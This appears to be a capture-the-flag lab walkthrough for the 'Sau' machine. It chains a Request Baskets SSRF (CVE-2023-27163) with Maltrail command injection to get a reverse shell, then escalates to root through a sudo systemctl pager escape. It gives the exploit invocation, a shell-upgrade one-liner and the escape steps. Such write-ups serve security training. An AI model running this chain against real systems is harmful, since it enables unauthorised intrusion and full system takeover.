Sau
Details
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.224
- Author: AETH3RON
Overview
This machine is an easy-difficulty Linux target that requires chaining two vulnerabilities to achieve remote code execution. The web service on port 55555 runs Request Baskets 1.2.1, which is vulnerable to Server-Side Request Forgery (SSRF) via CVE-2023-27163. This SSRF allows us to redirect requests to an internal service — Maltrail v0.53 — running on the filtered port 80. Maltrail v0.53 is vulnerable to OS command injection, which we exploit through the SSRF basket to obtain a reverse shell. After gaining access, privilege escalation is achieved by abusing misconfigured sudo permissions on systemctl, allowing execution of arbitrary commands as root.
Enumeration
Nmap
nmap -Pn -sS -sV -p- 10.10.11.224 -oN nmap-basic
nmap -Pn -sS -sV -sC -p22,80,8338,55555 10.10.11.224 -oN nmap-common
The scan reveals the following relevant services:
- 22/tcp – SSH (OpenSSH 8.2p1)
- 80/tcp – HTTP (filtered)
- 8338/tcp – Unknown (filtered)
- 55555/tcp – HTTP (Golang net/http server)
Web
Visiting the web service hosted on port 55555, we are presented with a web interface titled Request Baskets.
At the bottom of the page, the application discloses its version number. In this case, the running version is:
Foothold
After performing a quick search, we discover that Request Baskets 1.2.1 is vulnerable to CVE-2023-27163, a Server-Side Request Forgery (SSRF) vulnerability. This flaw allows an attacker to create a basket that forwards all incoming requests to an arbitrary internal service, effectively bypassing network filtering.
Recall that port 80 appeared as filtered in our Nmap scan. By exploiting the SSRF, we can configure a basket to proxy our requests to the internal service on port 80, which turns out to be Maltrail v0.53 — a malicious traffic detection system.
Maltrail v0.53 is vulnerable to OS command injection through its login page. By chaining both vulnerabilities — the SSRF to reach Maltrail internally, and the command injection to execute arbitrary commands — we can obtain a reverse shell.
Searching for public exploits, we find a working proof-of-concept on GitHub that automates this chain. We can use the exploit as follows:
python3 exploit.py http://10.10.11.XXX:55555 <YOUR-IP> <YOUR-PORT>
After executing the exploit, a few seconds later we receive a reverse shell on our Netcat listener, confirming successful remote code execution through the SSRF-to-command-injection chain.
Privilege Escalation
Before continuing, we upgrade our shell to a fully interactive TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Next, we check our sudo privileges:
The output shows that we are allowed to execute a specific systemctl command with sudo privileges.
Since systemctl allows command execution through pager interaction, this configuration can be abused to spawn a root shell.
We execute the allowed command:
sudo systemctl status trail.service
Once the pager opens, we escape to a shell by typing:
!sh
This results in a root shell. We can verify our privileges:
whoami
# root
At this point, we have full control over the system.
Business Impact
In a real-world enterprise environment, this attack chain demonstrates how a Server-Side Request Forgery vulnerability can be leveraged to reach otherwise inaccessible internal services. The ability to pivot from an externally-facing proxy application to an internal monitoring tool like Maltrail — and achieve command execution through it — highlights the danger of deploying unpatched internal services behind minimal network segmentation. Combined with misconfigured sudo permissions, an attacker would achieve full root access, compromising all data and services hosted on the server.
References
- CVE-2023-27163 Information:
- CVE-2023-27163 Exploit:
- GTFOBINS:
- Maltrail v0.53 RCE:
New recovered files, straight to your inbox. No noise.